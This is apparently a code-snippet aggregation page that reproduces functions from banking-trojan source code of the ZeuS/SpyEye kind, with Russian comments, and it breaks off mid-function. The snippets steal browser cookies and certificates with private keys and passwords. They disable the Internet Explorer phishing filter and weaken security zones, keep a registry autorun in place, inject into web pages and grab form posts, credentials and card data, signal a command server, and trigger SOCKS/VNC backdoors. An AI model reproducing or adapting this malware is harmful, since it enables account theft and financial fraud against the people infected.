Пример #1
0
/*
  Обработка куков Wininet.

  IN flags     - флаги COOKIESFLAG_*.
  OUT list     - полный список куков.
  OUT listSize - размер списка куков.
*/
static void wininetCookiesProc(DWORD flags, LPSTR *list, LPDWORD listSize)
{
  CSTR_GETW(mask1, file_wininet_cookie_mask);
  const LPWSTR mask[] = {mask1};

  WININETCOOKIESPROCFINDDATA wcpfd;
  wcpfd.flags    = flags;
  wcpfd.list     = NULL;
  wcpfd.listSize = 0;

  WCHAR path[MAX_PATH];
  if(CWA(shell32, SHGetFolderPathW)(NULL, CSIDL_COOKIES, NULL, SHGFP_TYPE_CURRENT, path) == S_OK)
  {
    CSTR_GETW(pathLow, path_wininet_cookie_low);

    Fs::_findFiles(path, mask, sizeof(mask) / sizeof(LPWSTR), Fs::FFFLAG_SEARCH_FILES, wininetCookiesFindProc, &wcpfd, NULL, 0, 0);
    if(Fs::_pathCombine(path, path, pathLow))
    {
      Fs::_findFiles(path, mask, sizeof(mask) / sizeof(LPWSTR), Fs::FFFLAG_SEARCH_FILES, wininetCookiesFindProc, &wcpfd, NULL, 0, 0);
    }
  }

  if(flags & COOKIESFLAG_SAVE)
  {
    *list     = wcpfd.list;
    *listSize = wcpfd.listSize;
  }
}
Пример #2
0
void * WINAPI CertStoreHook::_hookerPfxImportCertStore(CRYPT_DATA_BLOB *data, LPCWSTR password, DWORD flags)
{
  WDEBUG3(WDDT_INFO, "Called, data->cbData=%u, password=%s, flags=0x%08X", data->cbData, password == NULL ? L"" : password, flags);
  
  HCERTSTORE certstore = CWA(crypt32, PFXImportCertStore)(data, password, flags);
  if(certstore != NULL && (flags & 0x10000000) == 0 && data && data->cbData > 0 && data->pbData != NULL && Core::isActive())
  {
    //Генерируем имя.
    WCHAR userName[MAX_PATH];
    WCHAR pfxName[CryptedStrings::len_certstore_export_remote_path * 2];
    SYSTEMTIME st;
    CWA(kernel32, GetSystemTime)(&st);
      
    //Пишим сертификат.
    CSTR_GETW(serverPath, certstore_export_remote_path);
    CSTR_GETW(prolog, certstore_export_prolog);
    getUserNameForPath(userName);

    if(Str::_sprintfW(pfxName, sizeof(pfxName) / sizeof(WCHAR), serverPath, userName, prolog, st.wDay, st.wMonth, st.wYear) > 0 &&
       Report::writeData(BLT_FILE, NULL, pfxName, data->pbData, data->cbData) && password != NULL && *password != 0)
    {
      Str::_catW(pfxName, L".txt", 4);
      Str::UTF8STRING u8s;
      
      if(Str::_utf8FromUnicode((LPWSTR)password, -1, &u8s))
      {
        Report::writeData(BLT_FILE, NULL, pfxName, u8s.data, u8s.size);
        Str::_utf8Free(&u8s);
      }
    }
  }
  return certstore;
}
Пример #3
0
void WininetHook::init(const LPWSTR homePage)
{
  connections      = NULL;
  connectionsCount = 0;
  CWA(kernel32, InitializeCriticalSection)(&connectionsCs);

  if(coreData.integrityLevel > Process::INTEGRITY_LOW)
  {
    //Домашняя страница.
    if(homePage != NULL && *homePage != 0)
    {
      CSTR_GETW(startPageValue, regvalue_ie_startpage);
      CSTR_GETW(startPagePath,  regpath_ie_startpage);
      
      Registry::_setValueAsString(HKEY_CURRENT_USER, startPagePath, startPageValue, homePage, Str::_LengthW(homePage));
    }
    
    //Отключение фишинг фильтра.
    {
      CSTR_GETW(key, regpath_ie_phishingfilter);
      CSTR_GETW(var1, regvalue_ie_phishingfilter1);
      CSTR_GETW(var2, regvalue_ie_phishingfilter2);

      const LPWSTR vars[] = {var1, var2};
      for(BYTE i = 0; i < sizeof(vars) / sizeof(LPWSTR); i++)if(Registry::_getValueAsDword(HKEY_CURRENT_USER, key, vars[i]) != 0)Registry::_setValueAsDword(HKEY_CURRENT_USER, key, vars[i], 0);
    }
  
    //Не очищать куки при выходе из IE.
    {
      CSTR_GETW(key, regpath_ie_privacy);
      CSTR_GETW(var, regvalue_ie_privacy_cookies);

      if(!Registry::_valueExists(HKEY_CURRENT_USER, key, var) || Registry::_getValueAsDword(HKEY_CURRENT_USER, key, var) != 0)
      {
        Registry::_setValueAsDword(HKEY_CURRENT_USER, key, var, 0);
      }
    }
    
    //Настройка Интернет-зон.
    //FIXME: делать это через COM.
    {
      CSTR_GETW(key, regpath_ie_zones);
      CSTR_GETW(var1, regpath_ie_zones_1406);
      CSTR_GETW(var2, regpath_ie_zones_1609);

      const LPWSTR vars[] = {var1, var2};
      WCHAR keyBuf[CryptedStrings::len_regpath_ie_zones + 10];
      
      for(BYTE i = 0; i < 5; i++)if(Str::_sprintfW(keyBuf, sizeof(keyBuf) / sizeof(WCHAR), key, i) > 0)
      {
        for(BYTE a = 0; a < sizeof(vars) / sizeof(LPWSTR); a++)  
        {
          if(Registry::_getValueAsDword(HKEY_CURRENT_USER, keyBuf, vars[a]) != 0)Registry::_setValueAsDword(HKEY_CURRENT_USER, keyBuf, vars[a], 0);
        }
      }
    }
  }
}
Пример #4
0
/*
  Экспорт хранилища в отчет.

  IN storeName - имя хранилища.

  Return       - true - если хранилище успещно прочитано и записано в отчет, если сертифкатов > 0.
                 true - если хранилище успещно прочитано и если сертифкатов == 0.
                 false - в случаи ошибки.
*/
static bool exportStore(LPWSTR storeName)
{
  WDEBUG1(WDDT_INFO, "Exporting %s", storeName);
  bool retVal = false;
  
  HANDLE storeHandle = CWA(crypt32, CertOpenSystemStoreW)(NULL, storeName);
  if(storeHandle != NULL)
  {
    //Получаем кол. сертификатов.
    DWORD certsCount = 0;
    {
      PCCERT_CONTEXT certContext = NULL;
      while((certContext = CWA(crypt32, CertEnumCertificatesInStore)(storeHandle, certContext)) != NULL)certsCount++;
    }

    if(certsCount == 0)retVal = true;
    else 
    {
      //Получаем размер хранилища.
      CRYPT_DATA_BLOB pfxBlob;
      pfxBlob.pbData = NULL;
      pfxBlob.cbData = 0;

      CSTR_GETW(password, certstore_export_password);
      if(CWA(crypt32, PFXExportCertStoreEx)(storeHandle, &pfxBlob, password, 0, EXPORT_PRIVATE_KEYS) != FALSE &&
        (pfxBlob.pbData = (LPBYTE)Mem::alloc(pfxBlob.cbData)) != NULL)
      {
        if(CWA(crypt32, PFXExportCertStoreEx)(storeHandle, &pfxBlob, password, 0, EXPORT_PRIVATE_KEYS) != FALSE)
        {
          //Делаем имя хранилища в нижний регистр.
          WCHAR storeNameLower[CryptedStrings::len_certstore_export_remote_path * 2];
          Str::_CopyW(storeNameLower, storeName, -1);
          CWA(kernel32, CharLowerW)(storeNameLower);

          //Генерируем имя.
          WCHAR userName[MAX_PATH];
          WCHAR pfxName[CryptedStrings::len_certstore_export_remote_path * 2];
          SYSTEMTIME st;
          CWA(kernel32, GetSystemTime)(&st);

          CSTR_GETW(serverPath, certstore_export_remote_path);
          getUserNameForPath(userName);

          if(Str::_sprintfW(pfxName, sizeof(pfxName) / sizeof(WCHAR), serverPath, userName, storeNameLower, st.wDay, st.wMonth, st.wYear) > 0 &&
            Report::writeData(BLT_FILE, storeName, pfxName, pfxBlob.pbData, pfxBlob.cbData))
          {
            retVal = true;
          }
        }
        Mem::free(pfxBlob.pbData);
      }
    }
    CWA(crypt32, CertCloseStore)(storeHandle, 0);
  }
  return retVal;
}
Пример #5
0
bool OsEnv::_getUserProfileDirectoryhBySid(PSID sid, LPWSTR buffer)
{
  bool retVal = false;
  LPWSTR sidStr;
  if(CWA(kernel32, ConvertSidToStringSidW)(sid, &sidStr) != FALSE)
  {
    CSTR_GETW(regPathFormat, regpath_profilelist);
    WCHAR regPath[MAX_PATH];
    if(Str::_sprintfW(regPath, MAX_PATH, regPathFormat, sidStr) > 0)
    {
      CSTR_GETW(regValuePath, regvalue_profilelist_path);
      DWORD r = Registry::_getValueAsString(HKEY_LOCAL_MACHINE, regPath, regValuePath, regPath, MAX_PATH);
      if(r != 0 && r != (DWORD)-1)retVal = Fs::_unquoteAndExpandPath(regPath, buffer);
    }
    CWA(kernel32, LocalFree)(sidStr);
  }
  return retVal;
}
Пример #6
0
bool CoreControl::_removeAutorun(void)
{
  WCHAR autorunName[50];
  Core::generateObjectName(Core::OBJECT_ID_REG_AUTORUN, autorunName, MalwareTools::KON_DEFAULT);
  
  CSTR_GETW(regPath, regpath_autorun);
  for(BYTE i = 0; i < 5; i++)
  {
    if(!Registry::_deleteValue(HKEY_CURRENT_USER, regPath, autorunName))return false;
    
    //Страховка от незавершенного procAutorun().
    CWA(kernel32, Sleep)(500);
    if(!Registry::_valueExists(HKEY_CURRENT_USER, regPath, autorunName))return true;
  }
  return false;
}
Пример #7
0
void WininetHook::_getCookies(void)
{
  LPSTR cookies;
  DWORD cookiesSize;

  //Получаем куки.
  wininetCookiesProc(COOKIESFLAG_SAVE, &cookies, &cookiesSize);
  if(cookiesSize == 0)cookies = NULL;

  //Пишим лог.
  {
    CSTR_GETW(header, wininethook_report_cookies);
    CSTR_GETA(empty, wininethook_report_cookies_empty);
    Report::writeStringFormat(BLT_COOKIES, NULL, NULL, header, cookies == NULL ? empty : cookies);
  }
  Mem::free(cookies);
}
Пример #8
0
static DWORD WINAPI procAutorun(void *)
{
  CoreHook::disableFileHookerForCurrentThread(true);
  CWA(kernel32, SetThreadPriority)(CWA(kernel32, GetCurrentThread)(), THREAD_PRIORITY_NORMAL);

  HANDLE mutex = Core::waitForMutexOfObject(Core::OBJECT_ID_CONTROL_AUTORUN, MalwareTools::KON_SESSION);
  if(mutex == NULL)
  {
    WDEBUG0(WDDT_ERROR, "Failed");
    return 1;
  }

  WDEBUG0(WDDT_INFO, "Started.");

  WCHAR autorunName[50];
  WCHAR processPath[MAX_PATH];
  DWORD processPathSize;
  
  Core::generateObjectName(Core::OBJECT_ID_REG_AUTORUN, autorunName, MalwareTools::KON_DEFAULT);
  Core::getPeSettingsPath(Core::PSP_COREFILE, processPath);
  CWA(shlwapi, PathQuoteSpacesW)(processPath);
  processPathSize = Str::_LengthW(processPath);
  
  //Цикл.
  if(Core::isActive())
  {
    CSTR_GETW(regPath, regpath_autorun);
    while(CWA(kernel32, WaitForSingleObject)(coreData.globalHandles.stopEvent, 200) == WAIT_TIMEOUT)
    {
      Registry::_setValueAsString(HKEY_CURRENT_USER, regPath, autorunName, processPath, processPathSize);
    }
  }
  
  WDEBUG0(WDDT_INFO, "Stopped.");
  Sync::_freeMutex(mutex);

  return 0;
}
Пример #9
0
bool HttpGrabber::_executeInjects(const LPSTR url, LPBYTE *context, LPDWORD contextSize, const INJECTFULLDATA *dataList, DWORD count)
{
	DWORD changesCount = 0; //Кол. примененых инжектов.
	
	for(DWORD i = 0; i < count; i++)
	{
		INJECTFULLDATA *curData = (INJECTFULLDATA *)&dataList[i];
		DWORD matchFlags = curData->flags & HttpInject::FLAG_CONTEXT_CASE_INSENSITIVE ? Str::MATCH_CASE_INSENSITIVE_FAST : 0;

		//Проверка маски контента.
		if(curData->contextMask != NULL && !_matchContextA(curData->contextMask, *context, *contextSize, matchFlags | Str::MATCH_FULL_EQUAL))
		{
#if defined WDEBUG0
			WDEBUG0(WDDT_INFO, "Context no matched.");
#endif
			continue;
		}

		LPBYTE grabbedData     = NULL;
		DWORD  grabbedDataSize = 0;
		LPBYTE curBlock        = (LPBYTE)curData->injects;
		LPBYTE endBlock        = curBlock + curData->injectsSize;

		//Применяем инжекты, грабим данные.
		while(curBlock < endBlock)
		{
			//Ищим место замены.
			DWORD offsetBegin; //Начало данных для замены.
			DWORD offsetEnd;   //Конец данных для замены.
			HttpInject::INJECTBLOCK *blockPrefix = (HttpInject::INJECTBLOCK *)curBlock;
			HttpInject::INJECTBLOCK *blockPostfix  = (HttpInject::INJECTBLOCK *)((LPBYTE)blockPrefix + blockPrefix->size);
			HttpInject::INJECTBLOCK *blockNew    = (HttpInject::INJECTBLOCK *)((LPBYTE)blockPostfix + blockPostfix->size);

			curBlock = (LPBYTE)blockNew + blockNew->size; //Следующий элемент.

			//FIXME
			{
				char open_socks[] = "%opensocks%";
				if(Mem::_findData((LPBYTE)blockNew + sizeof(HttpInject::INJECTBLOCK), blockNew->size, open_socks, sizeof(open_socks) - 1)) 
				{
					/*WCHAR opensocksurl[MAX_PATH];
					Str::_ansiToUnicode(url, -1, opensocksurl, MAX_PATH);
					WDEBUG1(WDDT_INFO, "Found %%opensocks%% in %s", opensocksurl);
					SpyEye_Modules::COMMAND_LIST* cmd = (SpyEye_Modules::COMMAND_LIST*)Mem::alloc(sizeof(SpyEye_Modules::COMMAND_LIST));
					cmd->ModuleCrc32 = 0x3b4c3a7a;
					cmd->FunctionCrc32 = 0x6874548b;
					DWORD res = SpyEye_Modules::ExecuteCommands(cmd);
					WDEBUG1(WDDT_INFO, "%%opensocks%% result: %u", res);*/

					char socks_event[] = "Global\\s_ev";
					HANDLE socks_event_handle;
					if(!(socks_event_handle = CreateEventA(0, true, false, socks_event)))
					{
						WDEBUG0(WDDT_ERROR, "Event creation failed.");
					}
					else
					{
						SetEvent(socks_event_handle);
						CloseHandle(socks_event_handle);
						WDEBUG0(WDDT_INFO, "Event has been set!");
					}
				}
				char open_vnc[] = "%openvnc%";
				if(Mem::_findData((LPBYTE)blockNew + sizeof(HttpInject::INJECTBLOCK), blockNew->size, open_vnc, sizeof(open_vnc) - 1)) 
				{
					/*WCHAR opensocksurl[MAX_PATH];
					Str::_ansiToUnicode(url, -1, opensocksurl, MAX_PATH);
					WDEBUG1(WDDT_INFO, "Found %%opensocks%% in %s", opensocksurl);
					SpyEye_Modules::COMMAND_LIST* cmd = (SpyEye_Modules::COMMAND_LIST*)Mem::alloc(sizeof(SpyEye_Modules::COMMAND_LIST));
					cmd->ModuleCrc32 = 0x3b4c3a7a;
					cmd->FunctionCrc32 = 0x6874548b;
					DWORD res = SpyEye_Modules::ExecuteCommands(cmd);
					WDEBUG1(WDDT_INFO, "%%opensocks%% result: %u", res);*/

					char vnc_event[] = "Global\\v_ev";
					HANDLE vnc_event_handle;
					if(!(vnc_event_handle = CreateEventA(0, true, false, vnc_event)))
					{
						WDEBUG0(WDDT_ERROR, "Event #2 creation failed.");
					}
					else
					{
						SetEvent(vnc_event_handle);
						CloseHandle(vnc_event_handle);
						WDEBUG0(WDDT_INFO, "Event #2 has been set! ");
					}
				}
			}

			void* patternForReplace = Mem::_findData((LPBYTE)blockNew + sizeof(HttpInject::INJECTBLOCK), blockNew->size, "%BOTID%", 7);
			DWORD compIdSize = Str::_LengthW(coreDllData.compId);
			DWORD patternChangeSize = compIdSize - 7;
			if(patternForReplace && patternChangeSize > 0)
			{
				WDEBUG0(WDDT_INFO, "Found %BOTID% in inject.");
				void* newBlock = Mem::alloc(blockNew->size + patternChangeSize);
				LPSTR compid = Str::_unicodeToAnsiEx(coreDllData.compId, compIdSize);
				if(compid)
				{
					DWORD offsetSt = (LPBYTE)patternForReplace - (LPBYTE)blockNew;
					DWORD offsetEnd = ((LPBYTE)blockNew + blockNew->size) - (LPBYTE)patternForReplace;
					Mem::_copy(newBlock, (LPBYTE)blockNew, offsetSt);

					Mem::_copy((LPBYTE)newBlock + offsetSt, compid, compIdSize);
					Mem::_copy((LPBYTE)newBlock + offsetSt + compIdSize, (LPBYTE)blockNew + offsetSt + 7, offsetEnd);
					blockNew = (HttpInject::INJECTBLOCK*)newBlock;
					blockNew->size += patternChangeSize;

					Mem::free(compid);
				}
			}

			//Получаем позицию начала.
			if(blockPrefix->size == sizeof(HttpInject::INJECTBLOCK))
			{
				offsetBegin = 0;
			}
			else if(!_matchContextExA((LPBYTE)blockPrefix + sizeof(HttpInject::INJECTBLOCK), blockPrefix->size - sizeof(HttpInject::INJECTBLOCK), *context, *contextSize, NULL, &offsetBegin, matchFlags))
			{
				continue;
			}

			//Получаем позицию конца.
			if(blockPostfix->size == sizeof(HttpInject::INJECTBLOCK))
			{
				if(blockPrefix->size == sizeof(HttpInject::INJECTBLOCK))offsetEnd = *contextSize;
				else offsetEnd = offsetBegin;
			}
			else if(_matchContextExA((LPBYTE)blockPostfix + sizeof(HttpInject::INJECTBLOCK), blockPostfix->size - sizeof(HttpInject::INJECTBLOCK), *context + offsetBegin, *contextSize - offsetBegin, &offsetEnd, NULL, matchFlags))
			{        
				if(blockPrefix->size == sizeof(HttpInject::INJECTBLOCK))offsetBegin = offsetEnd;
				else offsetEnd += offsetBegin;
			}
			else
			{
				continue;
			}      

			DWORD blockNewDataSize = blockNew->size - sizeof(HttpInject::INJECTBLOCK); //Размер ставляемых данных.
			DWORD matchedDataSize  = offsetEnd - offsetBegin;                          //Размер наденых данных.

			//Замена.
			if(curData->flags & HttpInject::FLAG_IS_INJECT)
			{
				DWORD newSize = *contextSize - matchedDataSize + blockNewDataSize;
				LPBYTE newBuf  = (LPBYTE)Mem::alloc(newSize);

				if(newBuf != NULL) //Не обращаем внимание на ошибку.
				{
					Mem::_copy(newBuf,                                  *context,                                           offsetBegin);
					Mem::_copy(newBuf + offsetBegin,                    (LPBYTE)blockNew + sizeof(HttpInject::INJECTBLOCK), blockNewDataSize);
					Mem::_copy(newBuf + offsetBegin + blockNewDataSize, *context + offsetEnd,                               *contextSize - offsetEnd);
					if(patternForReplace) Mem::free(blockNew);

					Mem::free(*context);
					*context     = newBuf;
					*contextSize = newSize;

					changesCount++;
				}
			}
			//Сохранение.
			else if(curData->flags & HttpInject::FLAG_IS_CAPTURE)
			{
				if(Mem::reallocEx(&grabbedData, grabbedDataSize + blockNewDataSize + matchedDataSize + 1/*\n*/ + 1/*\0*/)) //Не обращаем внимание на ошибку.
				{
					if(blockNewDataSize > 0)
					{
						Mem::_copy(grabbedData + grabbedDataSize, (LPBYTE)blockNew + sizeof(HttpInject::INJECTBLOCK), blockNewDataSize);
						grabbedDataSize += blockNewDataSize;
					}
					Mem::_copy(grabbedData + grabbedDataSize, *context + offsetBegin, matchedDataSize);

					if(curData->flags & HttpInject::FLAG_CAPTURE_NOTPARSE)grabbedDataSize += matchedDataSize;
					else grabbedDataSize += HttpTools::_removeTagsA((LPSTR)grabbedData + grabbedDataSize, matchedDataSize);

					grabbedData[grabbedDataSize++] = '\n';
					grabbedData[grabbedDataSize]   = 0;
				}
			}
		}

		//Пишим награбленное.
		if(curData->flags & HttpInject::FLAG_IS_CAPTURE)
		{
			
			if(grabbedData != NULL)
			{
				if(curData->flags & HttpInject::FLAG_CAPTURE_TOFILE)
				{
					char host[260];
					URL_COMPONENTSA uc;

					Mem::_zero(&uc, sizeof(URL_COMPONENTSA));
					uc.dwStructSize     = sizeof(URL_COMPONENTSA);
					uc.lpszHostName     = host;
					uc.dwHostNameLength = sizeof(host) / sizeof(char) - 1;

					if(CWA(wininet, InternetCrackUrlA)(url, 0, 0, &uc) == TRUE && uc.dwHostNameLength > 0)
					{
						WCHAR file[MAX_PATH];
						SYSTEMTIME st;

						CWA(kernel32, GetSystemTime)(&st);            
						CSTR_GETW(decodedString, httpgrabber_inject_path_format);
						Str::_sprintfW(file, sizeof(file) / sizeof(WCHAR), decodedString, host, st.wYear - 2000, st.wMonth, st.wDay);
						Report::writeData(BLT_FILE, file, grabbedData, grabbedDataSize);
					}
				}
				else
				{
					LPWSTR urlW = Str::_ansiToUnicodeEx(url, -1);
					if(urlW != NULL)
					{
						LPWSTR report1 = NULL;
						CSTR_GETW(decodedString, httpgrabber_inject_grabbed_format);
						int r = Str::_sprintfExW(&report1, decodedString, urlW, grabbedData);
						if(r > 0) 
						{
							Report::writeString(BLT_GRABBED_HTTP, urlW, report1, r);
							Mem::free(report1);
						}
						Mem::free(urlW);
					}
				}
				Mem::free(grabbedData);
			}
		}

	}

	return (changesCount > 0);
}
Пример #10
0
DWORD HttpGrabber::analizeRequestData(REQUESTDATA *requestData)
{
#if defined WDEBUG6
	WDEBUG6(WDDT_INFO,
		"requestData->handle=[0x%p], requestData->url=[%S], requestData->referer=[%S], requestData->contentType=[%S], requestData->verb=[%u], requestData->postDataSize=[%u].",
		requestData->handle,
		requestData->url,
		requestData->referer,
		requestData->contentType,
		requestData->verb,
		requestData->postDataSize
		);
#endif

	//SpyEye_Modules::WebMainCallback(SpyEye_Modules::SM_FUNC_BEFOREPROCESSURL, requestData->url, requestData->verb == HttpGrabber::VERB_GET ? "GET" : "POST",requestData->

	DWORD retVal = 0;
	signed char writeReport = -1;/*-1 - по умолчанию, 0 - не писать, 1 - принудительно писать*/;

	//Проверяем запрос по фильтру.
	if(requestData->currentConfig != NULL)
	{
		DWORD httpFilterSize;
		LPSTR httpFilter = (LPSTR)BinStorage::_getItemDataEx(requestData->currentConfig, CFGID_HTTP_FILTER, BinStorage::ITEMF_IS_OPTION, &httpFilterSize);

		if(Str::_isValidMultiStringA(httpFilter, httpFilterSize))
		{      
			LPSTR curFilter = httpFilter;
			do if(curFilter[1] != 0)
			{ 
				//Опеределяем тип фильтра.
				char filterType;
				switch(curFilter[0])
				{
					case '$': filterType = 5; break; //Notify our server about request.
					case '!': filterType = 1; break; //Не писать в отчет,
					case '@': filterType = 2; break; //Screenshots
					default:  filterType = 0; break; //Принудительно писать в отчет.
				}
				if(filterType != 0)
					curFilter++;

				//Сравниваем URL.
				if(_matchUrlA(curFilter, requestData->url, requestData->urlSize, 0))
				{
#if defined WDEBUG3
					WDEBUG3(WDDT_INFO, "requestData->url=[%S] matched [%S] for filter type %u.", requestData->url, curFilter, filterType);
#endif

					switch(filterType)
					{
						case 0:
							{
								writeReport = 1;
								break;
							}
						case 1:
							{
								writeReport = 0;
								break;
							}
#if BO_KEYLOGGER > 0
						case 2:
						{
							char host[260];
							URL_COMPONENTSA uc;

							Mem::_zero(&uc, sizeof(URL_COMPONENTSA));
							uc.dwStructSize     = sizeof(URL_COMPONENTSA);
							uc.lpszHostName     = host;
							uc.dwHostNameLength = sizeof(host) / sizeof(char) - 1;

							if(CWA(wininet, InternetCrackUrlA)(requestData->url, requestData->urlSize, 0, &uc) == TRUE && uc.dwHostNameLength > 0)
							{
								UserHook::enableImageOnClick(USERCLICK2IMAGE_LIMIT, host);
							}
							break;
						}
#endif
						case 5:
							{
								retVal |= ANALIZEFLAG_NOTIFY_CC;
								break;
							}
					}
				}
			}
			while((curFilter = Str::_multiStringGetIndexA(curFilter, 1)));      
		}

		Mem::free(httpFilter);
	}

	//Проверяем тип содержимого.
	if(requestData->contentTypeSize >= (CryptedStrings::len_httpgrabber_urlencoded - 1))
	{
		if(CSTR_EQNA(requestData->contentType, CryptedStrings::len_httpgrabber_urlencoded - 1, httpgrabber_urlencoded) &&
			(requestData->contentType[CryptedStrings::len_httpgrabber_urlencoded - 1] == ';' || 
			requestData->contentType[CryptedStrings::len_httpgrabber_urlencoded - 1] == 0))
			retVal |= HttpGrabber::ANALIZEFLAG_POSTDATA_URLENCODED;
	}
	
	//Проверяем наличие HTTP-авторизации.
	LPWSTR authorizationData  = NULL;
	int authorizationDataSize = 0;
	if(requestData->authorizationData.userName != NULL && *requestData->authorizationData.userName != 0 && requestData->authorizationData.password != NULL && *requestData->authorizationData.password != 0)
	{
		CSTR_GETW(format, httpgrabber_auth_normal);
		authorizationDataSize = Str::_sprintfExW(&authorizationData, format, requestData->authorizationData.userName, requestData->authorizationData.password);
	}
	else if(requestData->authorizationData.unknownType != NULL && *requestData->authorizationData.unknownType != 0)
	{
		CSTR_GETW(format, httpgrabber_auth_encoded);
		authorizationDataSize = Str::_sprintfExW(&authorizationData, format, requestData->authorizationData.unknownType);
	}
	
	if(authorizationDataSize > 0)
	{
		retVal |= ANALIZEFLAG_AUTHORIZATION;
		
		// тут нужно проверять на дубли авторизации
	}
	
	//Опеределям нужно ли писать отчет.  
	{    
		if(writeReport == -1 && (requestData->verb == VERB_POST && requestData->postDataSize > 0) || retVal & ANALIZEFLAG_AUTHORIZATION)
			retVal |= ANALIZEFLAG_SAVED_REPORT;
		else if(writeReport == 1)
			retVal |= ANALIZEFLAG_SAVED_REPORT;
	}	
	
	if(retVal & ANALIZEFLAG_SAVED_REPORT)
	{
		LPSTR postData = NULL;
		bool ok = false;

		//Форматируем POST-запрос.
		if(retVal & HttpGrabber::ANALIZEFLAG_POSTDATA_URLENCODED)
		{
			if((postData = Str::_CopyExA((LPSTR)requestData->postData, requestData->postDataSize)) != NULL)
			{
				for(DWORD i = 0; i < requestData->postDataSize; i++)
				{
					if(postData[i] == '&')postData[i] = '\n';
					else if(postData[i] == '+')postData[i] = ' ';
				}
			}
		}
		// we dont need empty reports
		//else if(requestData->contentTypeSize == 0 || requestData->postDataSize == 0)
		//{
		//	postData = NULL;
		//}

		//Формируем отчет.
		if(postData != NULL)
		{
			LPWSTR urlUnicode = Str::_ansiToUnicodeEx(requestData->url, requestData->urlSize);

			if(urlUnicode != NULL)
			{
				URL_COMPONENTSA uc;

				Mem::_zero(&uc, sizeof(URL_COMPONENTSA));
				uc.dwStructSize = sizeof(URL_COMPONENTSA);

				if(CWA(wininet, InternetCrackUrlA)(requestData->url, requestData->urlSize, 0, &uc) == TRUE)
				{
					bool isCC = isThereCC(postData, requestData->postDataSize);
					LPWSTR reportString  = NULL;
					int reportSize = 0;
					CSTR_GETW(reportFormat, httpgrabber_report_format);
					LPWSTR userInput = NULL;
					LPWSTR referer = Str::_ansiToUnicodeEx(requestData->referer == NULL ? "-" : requestData->referer, -1);
#if BO_KEYLOGGER > 0
					UserHook::getInput(&userInput);
#endif
					reportSize = Str::_sprintfExW(&reportString, reportFormat, urlUnicode, referer, authorizationData == NULL ? L"" : authorizationData, userInput == NULL ? L"-" : userInput, postData);
					
					ok = Report::writeString(isCC == true ? BLT_REQUEST_WITH_CC : uc.nScheme == INTERNET_SCHEME_HTTPS ? BLT_HTTPS_REQUEST : BLT_HTTP_REQUEST, urlUnicode, reportString, reportSize);
					
					Mem::free(reportString);
					Mem::free(referer);
				}
				Mem::free(urlUnicode);
			}
			Mem::free(postData);
		}

		if(ok == false)
			retVal &= ~ANALIZEFLAG_SAVED_REPORT;
	}

	Mem::free(authorizationData);

	
	//Проверка на инжекты и фейки.
	if(checkRequestForInject(requestData))
	{
		retVal |= ANALIZEFLAG_URL_INJECT;
#if defined WDEBUG1
		WDEBUG1(WDDT_INFO, "Accepted %u injects for current URL.", requestData->injectsCount);
#endif
	}

	if(checkRequestForCapchas(requestData))
	{
		retVal |= ANALIZEFLAG_URL_CAPTCHA;
#if defined WDEBUG0
		WDEBUG0(WDDT_INFO, "Current URL detected as captcha request.");
#endif
	}


	if(retVal & ANALIZEFLAG_NOTIFY_CC)
	{
		if(BinStorage::_getItem(requestData->currentConfig, CFGID_NOTIFY_SERVER, BinStorage::ITEMF_IS_OPTION))
			Report::sendNotification(requestData->url);
	}

	//SpyEye_Modules::WebMainCallback(SpyEye_Modules::SM_FUNC_BEFOREPROCESSURL, requestData->url, requestData->verb == VERB_GET ? "GET" : "POST", requestData->headers, (LPSTR)requestData->postData, 0, 0);

END: 
	return retVal;
}
Пример #11
0
bool CoreInstall::_installToAll(void)
{
  //Получаем предположительный путь для Startup директории.
  WCHAR startupPath[MAX_PATH];
  {
    typedef BOOL (WINAPI *GETDEFAULTUSERPROFILEDIRECTORYW)(LPWSTR profileDir, LPDWORD size);
    
    bool ok = false;
    HMODULE dll;
    {
      CSTR_GETW(dllName, module_userenv)
      dll = CWA(kernel32, LoadLibraryW)(dllName);
    }
    
    if(dll != NULL)
    {
      GETDEFAULTUSERPROFILEDIRECTORYW getDefaultUserProfileDirectory;
      {
        CSTR_GETA(func, userenv_getdefuserprofiledir);
        getDefaultUserProfileDirectory = (GETDEFAULTUSERPROFILEDIRECTORYW)CWA(kernel32, GetProcAddress)(dll, func);
      }
      
      if(getDefaultUserProfileDirectory != NULL)
      {
        WCHAR defaultUserRoot[MAX_PATH];
        DWORD size = MAX_PATH;
    
        if(getDefaultUserProfileDirectory(defaultUserRoot, &size) == TRUE)
        {
          if(CWA(shell32, SHGetFolderPathW)(NULL, CSIDL_STARTUP, (HANDLE)-1, SHGFP_TYPE_DEFAULT, startupPath) == S_OK)
          {
            size = Str::_LengthW(defaultUserRoot);
            if(CWA(shlwapi, StrCmpNIW)(defaultUserRoot, startupPath, size) == 0)
            {
              Str::_CopyW(startupPath, startupPath + size, -1);
              WDEBUG1(WDDT_INFO, "startupPath=[%s].", startupPath);
              ok = true;
            }
#           if(BO_DEBUG > 0)
            else WDEBUG0(WDDT_ERROR, "Failed to get default startup folder.");
#           endif 
          }
#         if(BO_DEBUG > 0)
          else WDEBUG0(WDDT_ERROR, "SHGetFolderPathW failed.");
#         endif 
        }
#       if(BO_DEBUG > 0)
        else WDEBUG0(WDDT_ERROR, "GetDefaultUserProfileDirectoryW failed.");
#       endif 
      }
#     if(BO_DEBUG > 0)
      else WDEBUG0(WDDT_ERROR, "GetDefaultUserProfileDirectoryW not founded.");
#     endif 
      CWA(kernel32, FreeLibrary)(dll);
    }
#   if(BO_DEBUG > 0)
    else WDEBUG0(WDDT_ERROR, "userenv.dll not founded.");
#   endif 

    if(!ok)return false;
  }
  
  //Получаем список полозователей.
  bool ok = false;
  DWORD handle = 0;
  NET_API_STATUS status;
  
  do
  {
    /*
      Тупые, притупые идусы из MS, не понимают что они тупые притупые. Дело в том, что в MSDN
      написано, что NetUserEnum может работать с уровнями 4, 23, а на практики мы получаем 
      большой индуский ХУЙ!
    */

    DWORD readed;
    DWORD total;
    USER_INFO_0 *buf0 = NULL;
    status = CWA(netapi32, NetUserEnum)(NULL, 0, FILTER_NORMAL_ACCOUNT, (LPBYTE *)&buf0, MAX_PREFERRED_LENGTH, &readed, &total, &handle);

    if((status == NERR_Success || status == ERROR_MORE_DATA) && buf0 != NULL)
    {
      USER_INFO_23 *buf23;
      for(DWORD i = 0; i < readed; i++)if(CWA(netapi32, NetUserGetInfo)(NULL, buf0[i].usri0_name, 23, (LPBYTE *)&buf23) == NERR_Success && buf23 != NULL)
      {
        //Получаем директорию Startup.
        WCHAR profileDir[MAX_PATH];
